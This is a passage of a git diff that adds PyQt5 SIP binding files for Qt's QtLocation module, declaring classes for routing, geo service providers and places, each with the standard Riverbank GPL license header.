enum ManeuverDetail + { + NoManeuvers, + BasicManeuvers, + }; + + typedef QFlags ManeuverDetails; + explicit QGeoRouteRequest(const QList &waypoints = QList()); + QGeoRouteRequest(const QGeoCoordinate &origin, const QGeoCoordinate &destination); + QGeoRouteRequest(const QGeoRouteRequest &other); + ~QGeoRouteRequest(); + bool operator==(const QGeoRouteRequest &other) const; + bool operator!=(const QGeoRouteRequest &other) const; + void setWaypoints(const QList &waypoints); + QList waypoints() const; + void setExcludeAreas(const QList &areas); + QList excludeAreas() const; + void setNumberAlternativeRoutes(int alternatives); + int numberAlternativeRoutes() const; + void setTravelModes(QGeoRouteRequest::TravelModes travelModes); + QGeoRouteRequest::TravelModes travelModes() const; + void setFeatureWeight(QGeoRouteRequest::FeatureType featureType, QGeoRouteRequest::FeatureWeight featureWeight); + QGeoRouteRequest::FeatureWeight featureWeight(QGeoRouteRequest::FeatureType featureType) const; + QList featureTypes() const; + void setRouteOptimization(QGeoRouteRequest::RouteOptimizations optimization); + QGeoRouteRequest::RouteOptimizations routeOptimization() const; + void setSegmentDetail(QGeoRouteRequest::SegmentDetail segmentDetail); + QGeoRouteRequest::SegmentDetail segmentDetail() const; + void setManeuverDetail(QGeoRouteRequest::ManeuverDetail maneuverDetail); + QGeoRouteRequest::ManeuverDetail maneuverDetail() const; +%If (Qt_5_11_0 -) + void setWaypointsMetadata(const QList &waypointMetadata); +%End +%If (Qt_5_11_0 -) + QList waypointsMetadata() const; +%End +%If (Qt_5_11_0 -) + void setExtraParameters(const QVariantMap &extraParameters); +%End +%If (Qt_5_11_0 -) + QVariantMap extraParameters() const; +%End +%If (Qt_5_13_0 -) + void setDepartureTime(const QDateTime &departureTime); +%End +%If (Qt_5_13_0 -) + QDateTime departureTime() const; +%End +}; + +%End +%If (Qt_5_5_0 -) +QFlags operator|(QGeoRouteRequest::TravelMode f1, QFlags f2); +%End +%If (Qt_5_5_0 -) +QFlags operator|(QGeoRouteRequest::FeatureType f1, QFlags f2); +%End +%If (Qt_5_5_0 -) +QFlags operator|(QGeoRouteRequest::FeatureWeight f1, QFlags f2); +%End +%If (Qt_5_5_0 -) +QFlags operator|(QGeoRouteRequest::RouteOptimization f1, QFlags f2); +%End +%If (Qt_5_5_0 -) +QFlags operator|(QGeoRouteRequest::SegmentDetail f1, QFlags f2); +%End +%If (Qt_5_5_0 -) +QFlags operator|(QGeoRouteRequest::ManeuverDetail f1, QFlags f2); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qgeoroutesegment.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qgeoroutesegment.sip new file mode 100644 index 00000000..49824720 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qgeoroutesegment.sip @@ -0,0 +1,53 @@ +// qgeoroutesegment.sip generated by MetaSIP +// +// This file is part of the QtLocation Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) + +class QGeoRouteSegment +{ +%TypeHeaderCode +#include +%End + +public: + QGeoRouteSegment(); + QGeoRouteSegment(const QGeoRouteSegment &other); + ~QGeoRouteSegment(); + bool operator==(const QGeoRouteSegment &other) const; + bool operator!=(const QGeoRouteSegment &other) const; + bool isValid() const; + void setNextRouteSegment(const QGeoRouteSegment &routeSegment); + QGeoRouteSegment nextRouteSegment() const; + void setTravelTime(int secs); + int travelTime() const; + void setDistance(qreal distance); + qreal distance() const; + void setPath(const QList &path); + QList path() const; + void setManeuver(const QGeoManeuver &maneuver); + QGeoManeuver maneuver() const; +%If (Qt_5_12_0 -) + bool isLegLastSegment() const; +%End +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qgeoroutingmanager.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qgeoroutingmanager.sip new file mode 100644 index 00000000..7618c744 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qgeoroutingmanager.sip @@ -0,0 +1,53 @@ +// qgeoroutingmanager.sip generated by MetaSIP +// +// This file is part of the QtLocation Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) + +class QGeoRoutingManager : QObject /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QGeoRoutingManager(); + QString managerName() const; + int managerVersion() const; + QGeoRouteReply *calculateRoute(const QGeoRouteRequest &request) /Factory/; + QGeoRouteReply *updateRoute(const QGeoRoute &route, const QGeoCoordinate &position) /TransferThis/; + QGeoRouteRequest::TravelModes supportedTravelModes() const; + QGeoRouteRequest::FeatureTypes supportedFeatureTypes() const; + QGeoRouteRequest::FeatureWeights supportedFeatureWeights() const; + QGeoRouteRequest::RouteOptimizations supportedRouteOptimizations() const; + QGeoRouteRequest::SegmentDetails supportedSegmentDetails() const; + QGeoRouteRequest::ManeuverDetails supportedManeuverDetails() const; + void setLocale(const QLocale &locale); + QLocale locale() const; + void setMeasurementSystem(QLocale::MeasurementSystem system); + QLocale::MeasurementSystem measurementSystem() const; + +signals: + void finished(QGeoRouteReply *reply); + void error(QGeoRouteReply *reply, QGeoRouteReply::Error error, QString errorString = QString()); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qgeoroutingmanagerengine.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qgeoroutingmanagerengine.sip new file mode 100644 index 00000000..4e491c62 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qgeoroutingmanagerengine.sip @@ -0,0 +1,62 @@ +// qgeoroutingmanagerengine.sip generated by MetaSIP +// +// This file is part of the QtLocation Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) + +class QGeoRoutingManagerEngine : QObject +{ +%TypeHeaderCode +#include +%End + +public: + QGeoRoutingManagerEngine(const QVariantMap ¶meters, QObject *parent /TransferThis/ = 0); + virtual ~QGeoRoutingManagerEngine(); + QString managerName() const; + int managerVersion() const; + virtual QGeoRouteReply *calculateRoute(const QGeoRouteRequest &request) = 0 /Factory/; + virtual QGeoRouteReply *updateRoute(const QGeoRoute &route, const QGeoCoordinate &position) /Factory/; + QGeoRouteRequest::TravelModes supportedTravelModes() const; + QGeoRouteRequest::FeatureTypes supportedFeatureTypes() const; + QGeoRouteRequest::FeatureWeights supportedFeatureWeights() const; + QGeoRouteRequest::RouteOptimizations supportedRouteOptimizations() const; + QGeoRouteRequest::SegmentDetails supportedSegmentDetails() const; + QGeoRouteRequest::ManeuverDetails supportedManeuverDetails() const; + void setLocale(const QLocale &locale); + QLocale locale() const; + void setMeasurementSystem(QLocale::MeasurementSystem system); + QLocale::MeasurementSystem measurementSystem() const; + +signals: + void finished(QGeoRouteReply *reply); + void error(QGeoRouteReply *reply, QGeoRouteReply::Error error, QString errorString = QString()); + +protected: + void setSupportedTravelModes(QGeoRouteRequest::TravelModes travelModes); + void setSupportedFeatureTypes(QGeoRouteRequest::FeatureTypes featureTypes); + void setSupportedFeatureWeights(QGeoRouteRequest::FeatureWeights featureWeights); + void setSupportedRouteOptimizations(QGeoRouteRequest::RouteOptimizations optimizations); + void setSupportedSegmentDetails(QGeoRouteRequest::SegmentDetails segmentDetails); + void setSupportedManeuverDetails(QGeoRouteRequest::ManeuverDetails maneuverDetails); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qgeoserviceprovider.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qgeoserviceprovider.sip new file mode 100644 index 00000000..d9ade836 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qgeoserviceprovider.sip @@ -0,0 +1,224 @@ +// qgeoserviceprovider.sip generated by MetaSIP +// +// This file is part of the QtLocation Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_11_0 -) +class QNavigationManager; +%End +%If (Qt_5_5_0 -) + +class QGeoServiceProvider : QObject +{ +%TypeHeaderCode +#include +%End + +%ConvertToSubClassCode + static struct class_graph { + const char *name; + sipTypeDef **type; + int yes, no; + } graph[] = { + {sipName_QGeoCodingManager, &sipType_QGeoCodingManager, -1, 1}, + {sipName_QGeoRoutingManagerEngine, &sipType_QGeoRoutingManagerEngine, -1, 2}, + {sipName_QGeoCodeReply, &sipType_QGeoCodeReply, -1, 3}, + {sipName_QPlaceReply, &sipType_QPlaceReply, 10, 4}, + {sipName_QPlaceManagerEngine, &sipType_QPlaceManagerEngine, -1, 5}, + {sipName_QGeoRoutingManager, &sipType_QGeoRoutingManager, -1, 6}, + {sipName_QGeoCodingManagerEngine, &sipType_QGeoCodingManagerEngine, -1, 7}, + {sipName_QGeoServiceProvider, &sipType_QGeoServiceProvider, -1, 8}, + {sipName_QGeoRouteReply, &sipType_QGeoRouteReply, -1, 9}, + {sipName_QPlaceManager, &sipType_QPlaceManager, -1, -1}, + {sipName_QPlaceSearchSuggestionReply, &sipType_QPlaceSearchSuggestionReply, -1, 11}, + {sipName_QPlaceMatchReply, &sipType_QPlaceMatchReply, -1, 12}, + {sipName_QPlaceDetailsReply, &sipType_QPlaceDetailsReply, -1, 13}, + {sipName_QPlaceContentReply, &sipType_QPlaceContentReply, -1, 14}, + {sipName_QPlaceSearchReply, &sipType_QPlaceSearchReply, -1, 15}, + {sipName_QPlaceIdReply, &sipType_QPlaceIdReply, -1, -1}, + }; + + int i = 0; + + sipType = NULL; + + do + { + struct class_graph *cg = &graph[i]; + + if (cg->name != NULL && sipCpp->inherits(cg->name)) + { + sipType = *cg->type; + i = cg->yes; + } + else + i = cg->no; + } + while (i >= 0); +%End + +public: + enum Error + { + NoError, + NotSupportedError, + UnknownParameterError, + MissingRequiredParameterError, + ConnectionError, +%If (Qt_5_12_1 -) + LoaderError, +%End + }; + + enum RoutingFeature + { + NoRoutingFeatures, + OnlineRoutingFeature, + OfflineRoutingFeature, + LocalizedRoutingFeature, + RouteUpdatesFeature, + AlternativeRoutesFeature, + ExcludeAreasRoutingFeature, + AnyRoutingFeatures, + }; + + enum GeocodingFeature + { + NoGeocodingFeatures, + OnlineGeocodingFeature, + OfflineGeocodingFeature, + ReverseGeocodingFeature, + LocalizedGeocodingFeature, + AnyGeocodingFeatures, + }; + + enum MappingFeature + { + NoMappingFeatures, + OnlineMappingFeature, + OfflineMappingFeature, + LocalizedMappingFeature, + AnyMappingFeatures, + }; + + enum PlacesFeature + { + NoPlacesFeatures, + OnlinePlacesFeature, + OfflinePlacesFeature, + SavePlaceFeature, + RemovePlaceFeature, + SaveCategoryFeature, + RemoveCategoryFeature, + PlaceRecommendationsFeature, + SearchSuggestionsFeature, + LocalizedPlacesFeature, + NotificationsFeature, + PlaceMatchingFeature, + AnyPlacesFeatures, + }; + + typedef QFlags RoutingFeatures; + typedef QFlags GeocodingFeatures; + typedef QFlags MappingFeatures; + typedef QFlags PlacesFeatures; + static QStringList availableServiceProviders(); + QGeoServiceProvider(const QString &providerName, const QVariantMap ¶meters = QVariantMap(), bool allowExperimental = false); + virtual ~QGeoServiceProvider(); + QGeoServiceProvider::RoutingFeatures routingFeatures() const; + QGeoServiceProvider::GeocodingFeatures geocodingFeatures() const; + QGeoServiceProvider::MappingFeatures mappingFeatures() const; + QGeoServiceProvider::PlacesFeatures placesFeatures() const; + QGeoCodingManager *geocodingManager() const; + QGeoRoutingManager *routingManager() const; + QPlaceManager *placeManager() const; + QGeoServiceProvider::Error error() const; + QString errorString() const; + void setParameters(const QVariantMap ¶meters); + void setLocale(const QLocale &locale); + void setAllowExperimental(bool allow); +%If (Qt_5_11_0 -) + + enum NavigationFeature + { + NoNavigationFeatures, + OnlineNavigationFeature, + OfflineNavigationFeature, + AnyNavigationFeatures, + }; + +%End +%If (Qt_5_11_0 -) + typedef QFlags NavigationFeatures; +%End +%If (Qt_5_11_0 -) + QGeoServiceProvider::NavigationFeatures navigationFeatures() const; +%End +%If (Qt_5_11_0 -) + QNavigationManager *navigationManager() const; +%End +%If (Qt_5_13_0 -) + QGeoServiceProvider::Error mappingError() const; +%End +%If (Qt_5_13_0 -) + QString mappingErrorString() const; +%End +%If (Qt_5_13_0 -) + QGeoServiceProvider::Error geocodingError() const; +%End +%If (Qt_5_13_0 -) + QString geocodingErrorString() const; +%End +%If (Qt_5_13_0 -) + QGeoServiceProvider::Error routingError() const; +%End +%If (Qt_5_13_0 -) + QString routingErrorString() const; +%End +%If (Qt_5_13_0 -) + QGeoServiceProvider::Error placesError() const; +%End +%If (Qt_5_13_0 -) + QString placesErrorString() const; +%End +%If (Qt_5_13_0 -) + QGeoServiceProvider::Error navigationError() const; +%End +%If (Qt_5_13_0 -) + QString navigationErrorString() const; +%End +}; + +%End +%If (Qt_5_5_0 -) +QFlags operator|(QGeoServiceProvider::RoutingFeature f1, QFlags f2); +%End +%If (Qt_5_5_0 -) +QFlags operator|(QGeoServiceProvider::GeocodingFeature f1, QFlags f2); +%End +%If (Qt_5_5_0 -) +QFlags operator|(QGeoServiceProvider::MappingFeature f1, QFlags f2); +%End +%If (Qt_5_5_0 -) +QFlags operator|(QGeoServiceProvider::PlacesFeature f1, QFlags f2); +%End +%If (Qt_5_11_0 -) +QFlags operator|(QGeoServiceProvider::NavigationFeature f1, QFlags f2); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qlocation.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qlocation.sip new file mode 100644 index 00000000..311b1c61 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qlocation.sip @@ -0,0 +1,45 @@ +// qlocation.sip generated by MetaSIP +// +// This file is part of the QtLocation Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) + +namespace QLocation +{ +%TypeHeaderCode +#include +%End + + enum Visibility + { + UnspecifiedVisibility, + DeviceVisibility, + PrivateVisibility, + PublicVisibility, + }; + + typedef QFlags VisibilityScope; +}; + +%End +%If (Qt_5_5_0 -) +QFlags operator|(QLocation::Visibility f1, QFlags f2); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplace.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplace.sip new file mode 100644 index 00000000..b7466cfb --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplace.sip @@ -0,0 +1,79 @@ +// qplace.sip generated by MetaSIP +// +// This file is part of the QtLocation Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) + +class QPlace +{ +%TypeHeaderCode +#include +%End + +public: + QPlace(); + QPlace(const QPlace &other); + ~QPlace(); + bool operator==(const QPlace &other) const; + bool operator!=(const QPlace &other) const; + QList categories() const; + void setCategory(const QPlaceCategory &category); + void setCategories(const QList &categories); + QGeoLocation location() const; + void setLocation(const QGeoLocation &location); + QPlaceRatings ratings() const; + void setRatings(const QPlaceRatings &ratings); + QPlaceSupplier supplier() const; + void setSupplier(const QPlaceSupplier &supplier); + QString attribution() const; + void setAttribution(const QString &attribution); + QPlaceIcon icon() const; + void setIcon(const QPlaceIcon &icon); + QPlaceContent::Collection content(QPlaceContent::Type type) const; + void setContent(QPlaceContent::Type type, const QPlaceContent::Collection &content); + void insertContent(QPlaceContent::Type type, const QPlaceContent::Collection &content); + int totalContentCount(QPlaceContent::Type type) const; + void setTotalContentCount(QPlaceContent::Type type, int total); + QString name() const; + void setName(const QString &name); + QString placeId() const; + void setPlaceId(const QString &identifier); + QString primaryPhone() const; + QString primaryFax() const; + QString primaryEmail() const; + QUrl primaryWebsite() const; + bool detailsFetched() const; + void setDetailsFetched(bool fetched); + QStringList extendedAttributeTypes() const; + QPlaceAttribute extendedAttribute(const QString &attributeType) const; + void setExtendedAttribute(const QString &attributeType, const QPlaceAttribute &attribute); + void removeExtendedAttribute(const QString &attributeType); + QStringList contactTypes() const; + QList contactDetails(const QString &contactType) const; + void setContactDetails(const QString &contactType, QList details); + void appendContactDetail(const QString &contactType, const QPlaceContactDetail &detail); + void removeContactDetails(const QString &contactType); + QLocation::Visibility visibility() const; + void setVisibility(QLocation::Visibility visibility); + bool isEmpty() const; +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplaceattribute.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplaceattribute.sip new file mode 100644 index 00000000..82449300 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplaceattribute.sip @@ -0,0 +1,47 @@ +// qplaceattribute.sip generated by MetaSIP +// +// This file is part of the QtLocation Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) + +class QPlaceAttribute +{ +%TypeHeaderCode +#include +%End + +public: + static const QString OpeningHours; + static const QString Payment; + static const QString Provider; + QPlaceAttribute(); + QPlaceAttribute(const QPlaceAttribute &other); + virtual ~QPlaceAttribute(); + bool operator==(const QPlaceAttribute &other) const; + bool operator!=(const QPlaceAttribute &other) const; + QString label() const; + void setLabel(const QString &label); + QString text() const; + void setText(const QString &text); + bool isEmpty() const; +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplacecategory.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplacecategory.sip new file mode 100644 index 00000000..eeb29f48 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplacecategory.sip @@ -0,0 +1,48 @@ +// qplacecategory.sip generated by MetaSIP +// +// This file is part of the QtLocation Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) + +class QPlaceCategory +{ +%TypeHeaderCode +#include +%End + +public: + QPlaceCategory(); + QPlaceCategory(const QPlaceCategory &other); + virtual ~QPlaceCategory(); + bool operator==(const QPlaceCategory &other) const; + bool operator!=(const QPlaceCategory &other) const; + QString categoryId() const; + void setCategoryId(const QString &identifier); + QString name() const; + void setName(const QString &name); + QLocation::Visibility visibility() const; + void setVisibility(QLocation::Visibility visibility); + QPlaceIcon icon() const; + void setIcon(const QPlaceIcon &icon); + bool isEmpty() const; +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplacecontactdetail.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplacecontactdetail.sip new file mode 100644 index 00000000..43cc3156 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplacecontactdetail.sip @@ -0,0 +1,48 @@ +// qplacecontactdetail.sip generated by MetaSIP +// +// This file is part of the QtLocation Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) + +class QPlaceContactDetail +{ +%TypeHeaderCode +#include +%End + +public: + static const QString Phone; + static const QString Email; + static const QString Website; + static const QString Fax; + QPlaceContactDetail(); + QPlaceContactDetail(const QPlaceContactDetail &other); + virtual ~QPlaceContactDetail(); + bool operator==(const QPlaceContactDetail &other) const; + bool operator!=(const QPlaceContactDetail &other) const; + QString label() const; + void setLabel(const QString &label); + QString value() const; + void setValue(const QString &value); + void clear(); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplacecontent.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplacecontent.sip new file mode 100644 index 00000000..57ecaa92 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplacecontent.sip @@ -0,0 +1,59 @@ +// qplacecontent.sip generated by MetaSIP +// +// This file is part of the QtLocation Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) + +class QPlaceContent +{ +%TypeHeaderCode +#include +%End + + typedef QMap Collection; + +public: + enum Type + { + NoType, + ImageType, + ReviewType, + EditorialType, +%If (Qt_5_11_0 -) + CustomType, +%End + }; + + QPlaceContent(); + QPlaceContent(const QPlaceContent &other); + virtual ~QPlaceContent(); + bool operator==(const QPlaceContent &other) const; + bool operator!=(const QPlaceContent &other) const; + QPlaceContent::Type type() const; + QPlaceSupplier supplier() const; + void setSupplier(const QPlaceSupplier &supplier); + QPlaceUser user() const; + void setUser(const QPlaceUser &user); + QString attribution() const; + void setAttribution(const QString &attribution); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplacecontentreply.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplacecontentreply.sip new file mode 100644 index 00000000..18826407 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplacecontentreply.sip @@ -0,0 +1,49 @@ +// qplacecontentreply.sip generated by MetaSIP +// +// This file is part of the QtLocation Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) + +class QPlaceContentReply : QPlaceReply +{ +%TypeHeaderCode +#include +%End + +public: + explicit QPlaceContentReply(QObject *parent /TransferThis/ = 0); + virtual ~QPlaceContentReply(); + virtual QPlaceReply::Type type() const; + QPlaceContent::Collection content() const; + int totalCount() const; + QPlaceContentRequest request() const; + QPlaceContentRequest previousPageRequest() const; + QPlaceContentRequest nextPageRequest() const; + +protected: + void setContent(const QPlaceContent::Collection &content); + void setTotalCount(int total); + void setRequest(const QPlaceContentRequest &request); + void setPreviousPageRequest(const QPlaceContentRequest &previous); + void setNextPageRequest(const QPlaceContentRequest &next); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplacecontentrequest.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplacecontentrequest.sip new file mode 100644 index 00000000..bc2319a1 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplacecontentrequest.sip @@ -0,0 +1,48 @@ +// qplacecontentrequest.sip generated by MetaSIP +// +// This file is part of the QtLocation Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) + +class QPlaceContentRequest +{ +%TypeHeaderCode +#include +%End + +public: + QPlaceContentRequest(); + QPlaceContentRequest(const QPlaceContentRequest &other); + ~QPlaceContentRequest(); + bool operator==(const QPlaceContentRequest &other) const; + bool operator!=(const QPlaceContentRequest &other) const; + QPlaceContent::Type contentType() const; + void setContentType(QPlaceContent::Type type); + QString placeId() const; + void setPlaceId(const QString &identifier); + QVariant contentContext() const; + void setContentContext(const QVariant &context); + int limit() const; + void setLimit(int limit); + void clear(); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplacedetailsreply.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplacedetailsreply.sip new file mode 100644 index 00000000..4568d16e --- 